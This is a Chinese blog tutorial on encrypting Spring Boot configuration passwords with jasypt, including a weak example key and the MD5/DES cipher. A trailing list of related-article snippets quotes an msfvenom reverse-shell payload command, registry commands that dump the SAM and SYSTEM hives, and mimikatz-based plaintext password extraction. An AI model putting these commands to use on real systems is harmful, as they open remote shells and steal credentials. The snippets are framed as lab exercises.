spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

article/2025/11/5 10:54:51

spring boot配置文件加密、明文密码加密、properties 和 yml 互相转换

  • 1.引入maven
  • 2.添加配置(yml格式的;properties 和 yml 在线转换)
  • 3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密
  • 4.常见问题及排查方法

1.引入maven

<dependency><groupId>com.github.ulisesbocchio</groupId><artifactId>jasypt-spring-boot-starter</artifactId><version>3.0.3</version>
</dependency>
<dependency><groupId>org.jasypt</groupId><artifactId>jasypt</artifactId><version>1.9.3</version>
</dependency>

2.添加配置(yml格式的;properties 和 yml 在线转换)

properties 和 yml 在线转换:properties 和 yml 在线转换

jasypt:encryptor:algorithm: PBEWithMD5AndDES		#算法-固定写法一般没人改password: 1234qwer				#密钥iv-generator-classname: org.jasypt.iv.NoIvGenerator	#设置初始向量IV生成器的类名

3.找到maven仓库下:org\jasypt\jasypt\1.9.3将内容进行加密

  1. 打开到地方后-在地址栏输入cmd打开黑窗口
    在这里插入图片描述

  2. 窗口打开后输入

    java -cp jasypt-1.9.3.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input="root" password=1234qwer algorithm=PBEWithMD5AndDES
    

    java -cp jasypt-版本根据自己的修改.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI input=“明文” password=密钥 algorithm=算法 这三个值要和配置文件里一样

    在这里插入图片描述

  3. 输入后回车
    ----OUTPUT----------------------下面的就是 root明文 加密后的内容
    在这里插入图片描述

  4. 将内容复制出来(用鼠标选中加密生成的内容右击就可以复制)-替换掉配置文件里的内容—将配置中的密码root替换成刚刚加密的内容使用ENC()包起来;ENC()是可以改的—不想用的大家可以去百度怎么改
    在这里插入图片描述

4.常见问题及排查方法

  1. 问题1
    Failed to bind properties under 'spring.datasource.password' to java.lang.String:      Reason: org.jasypt.encryption.pbe.config.SimpleStringPBEConfig.setIvGeneratorClassName(Ljava/lang/String;)V
    
  2. 问题2
    Failed to bind properties under 'spring.datasource.password' to java.lang.String:Reason: Failed to bind properties under 'spring.datasource.password' to java.lang.StringAction:Update your application's configuration
    
  3. 问题3
    Description:An attempt was made to call the method org.jasypt.encryption.pbe.config.SimpleStringPBEConfig.setIvGeneratorClassName(Ljava/lang/String;)V but it does not exist. Its class, org.jasypt.encryption.pbe.config.SimpleStringPBEConfig, is available from the following locations:jar:file:/D:/yixing/maven/repository_uap/org/jasypt/jasypt/1.9.2/jasypt-1.9.2.jar!/org/jasypt/encryption/pbe/config/SimpleStringPBEConfig.classIt was loaded from the following location:file:/D:/yixing/maven/repository_uap/org/jasypt/jasypt/1.9.2/jasypt-1.9.2.jarAction:Correct the classpath of your application so that it contains a single, compatible version of org.jasypt.encryption.pbe.config.SimpleStringPBEConfig
    
  4. 排查方法
    1. 先检查配置文件是否有问题、是否有多余的空格
    2. jasypt-spring-boot-starter.jar 是不是引入版本过高
    3. 不管jasypt-spring-boot-starter.jar是几点几的版本都可以加上iv-generator-classname: org.jasypt.iv.NoIvGenerator配置—不是只有3.0以上的才可以加
    4. 如果上面的都没问题,那就是jar包冲突的原因(问题3就是jar包冲突的原因)
      查看冲突版本:

1.点击maven中的Show Dependencies(那两个向上的箭头)会弹出左面的视图
在这里插入图片描述
2.在视图中搜索加密用到的jar包-问题3中报的就是jasypt.jar包冲突那就直接搜索jasypt了
在这里插入图片描述
3.可以看到下面搜到了两个jasypt;点击其中一个就会定位到jasypt包的旁边还得在找一下才能找到jasypt包可以看到下面是1.9.3和1.9.2冲突了(然后我们可以找找1.9.3和1.9.2、能找到那个就把这个版本换成和另一个一样的就可以了)
在这里插入图片描述


http://chatgpt.dhexx.cn/article/ABEmX3pw.shtml

相关文章

在Win10系统中用mimikatz抓取明文密码

实验环境 &#xff1a;Windows10专业版 参考了网上的方法&#xff0c;发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章&#xff0c;都被转烂了&#xff0c;这一篇文章是对的&#xff0c;但是路径上还是有点小问题的&#xff0c;…

meterpreter下抓取windows系统明文密码实验

虚拟机&#xff1a;kali | Win7 工具&#xff1a;msf 1.生成工具 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost192.168.40.140 lport55555 -f exe -o 233.exe 这里需要注意的是IP地址以及端口。 2.监听 启动msf&#xff0c;选择模块&#xff0c;配置信息&#xff0c…

RTX查找本地明文密码

内存密码没有加密&#xff0c;造成能够获取到明文密码 我用的winhex18 1、用WINHEX打开RTX的内存&#xff08;按altF9&#xff09; 2、找到前缀为RTX的 3、打开主要内存 4、查找16进制字符串“40000000500061007300730077006F0072006400” 3、password下面就是明文密…

SpringBoot项目配置明文密码泄露问题处理

在项目开发过程中&#xff0c;需要配置数据库连接密码、Redis密码、网盘上传的AK/SK等敏感信息&#xff0c;都需要保存在配置文件里&#xff0c;或者配置中心。 这些信息如果泄露&#xff0c;还是会造成一定的困扰&#xff0c;这里介绍2种处理方案&#xff1a; 1、使用系统环境…

内网渗透(抓取明文密码)

1. 注册表导出 reg save hklm\sam sam.hiv ———> SAM文件reg save hklm\system sys.hiv ———> SYS文件注意事项: 1) 在Windows 2003版本包含2003以上都可以使用该命令 2) 在windows 2003中他会以ltml 3) 都是加密Hash演示: 1)下载mimikatz然后执行:lsadump::s…

域渗透——获取用户明文密码

目录 讲在前面&#xff1a; 一、CredSSP获取明文密码 二、Dcsync获取明文密码 讲在前面&#xff1a; 本文是笔者在学习"三好学生"前辈的文章进而总结的一篇文章&#xff0c;内容主要是在内网渗透中获得明文密码的两种方式。&#xff0c;在笔者看来&#xff0c;两…

Navicat导出链接查看数据库明文密码

测试环境&#xff1a;Navicat Premium 版本15.0.25 理论版本12以上即可。 参考地址&#xff1a;navicat~导出数据库密码 - 走看看 Hutool参考文档 代码 import cn.hutool.core.io.file.FileReader; import cn.hutool.crypto.symmetric.AES; import org.dom4j.*;import java.u…

Windows10明文密码抓取

procdumpmimikatz获取win10用户明文密码 测试环境&#xff1a;Win10 企业版LTSC 1809 工具下载&#xff1a;k8版本的mz64.exe、procdumpv9.0 原理&#xff1a;获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码 利用前提&#xff1a;拿到了admin…

开发反模式 - 明文密码

开发反模式 - 明文密码 一、目标&#xff1a;恢复或重置密码 每个有密码的程序都会碰到用户忘记密码的情况&#xff0c;现今大多数程序都通过E-mail的回馈机制让用户恢复或者重置密码。这个解决方案有一个前提&#xff0c;这个服务有一个前提&#xff0c;就是这个用户能够访问他…

MD5明文密码加密

MD5 一、加密缘由 首先看一下未使用MD5加密的数据库 这样的话如果黑客攻击数据库的时候得到数据库的资料&#xff08;主要密码&#xff09;就会导致用户的财产等受到危害&#xff0c;所以需要对密码进行加密操作 二、加密的算法MD5 2.1、运用了单向加密算法&#xff08;下…

Unity基础: 对Anchors锚点的使用

在UI对象上是用RectTransform组件来控制位置和大小的&#xff0c;在RectTransform中有一个Anchors属性。Anchors属性可以将当前对象的四个角锚点定位到父对象的某个位置&#xff0c;并且Anchor还允许子对象的宽高随着父对象的宽高一起拉伸。 上面一个示例中显示的就是将一个Ima…

(笔记)yolov5自适应anchors

训练一开始会先计算Best Possible Recall (BPR),当BPR < 0.98时&#xff0c;再在kmean_anchors函数中进行k 均值和遗传学习算法更新anchors。 情况一&#xff1a; 在进行yolov5训练的时候&#xff0c;会输出&#xff1a; Analyzing anchors... Best Possible Recall (BPR…

Roson讲Qt#16 QML中的anchors(锚)

QML中有一个数据类型叫Item&#xff0c;Item里面有很多属性&#xff0c;其中一个就是anchors. anchors翻译过来叫“锚”&#xff0c;锚可能不好理解&#xff0c;在我看来&#xff0c;可以把anchors当成是一个控件浓缩而成的一个点&#xff0c;可以通过设置点的上下左右等属性来…

Qml基于锚(anchors)的布局

锚(anchors)布局&#xff0c;每一个项目都可以认为有一组无形的锚线 left,horizontalCenter,right,top,verticalCenter,baseline和bottom. 如上图&#xff1a;图中没有显示baseline&#xff0c;它是一条假想的线&#xff0c;文本坐落在这条线上。对于没有文本的项目它与top相同…

RPN之生成anchors

看不懂anchor生成方法&#xff0c;就看不懂参数。 faster_rcnn的anchors生成 在这里我就不看faster_rcnn的anchors生成源代码了&#xff0c;我们用numpy自己去实现&#xff0c;在128*128大小的图片中生成anchors. 开始上代码 import numpy as np import matplotlib.pyplot …

Qml anchors锚点布局

关于qml的锚点布局的一些分享&#xff0c;并不能算是教学之类的。 锚点布局会自动设置宽度高度&#xff0c;并且优先级比 width height更高 import QtQuick 2.13 import QtQuick.Window 2.12 import QtQml 2.13Window {width: 640height: 480visible: truetitle: qsTr("a…

yolo_anchors.txt超参数值设置

keras-yolov3在训练自定义图片集之前&#xff0c;设置合理的yolo_anchors.txt值&#xff0c;有利于模型训练的收敛&#xff0c;一般都带有默认的参数如下&#xff1a; 在实际项目中&#xff0c;yolo_anchors的值可以根据kmeans.py计算获取&#xff0c;通过聚类得到最佳anchors数…

QML之anchors锚布局

QML的布局方式一般采用两种&#xff0c;一种就是直接设置&#xff0c;X与Y坐标的值。一种是采用相对位置布局&#xff0c;anchors锚布局。使用锚布局的能够使界面更紧凑&#xff0c;更有整体化。我个人相对比较喜欢使用锚布局&#xff0c;选取一个最合适的参考点&#xff0c;其…

YOLOV5源代码学习之check_anchors()函数

该函数主要在train.py中调用 为了方便直观的阅读代码&#xff0c;对代码中的变量值进行了输出 def check_anchors(dataset, model, thr4.0, imgsz640):# Check anchor fit to data, recompute if necessaryprefix colorstr(autoanchor: )print(f\n{prefix}Analyzing anchors.…

QML入门教程(3): anchors的用法

QML的布局方法是anchors,锚。 例如界面上四个按钮,可以用绝对坐标 (x, y) 设置他们的位置, 代码如下: import QtQuick 2.12 import QtQuick.Window 2.12 import QtQuick.Controls 2.5Window {visible: truewidth: 320height: 480title: qsTr("Hello World")co…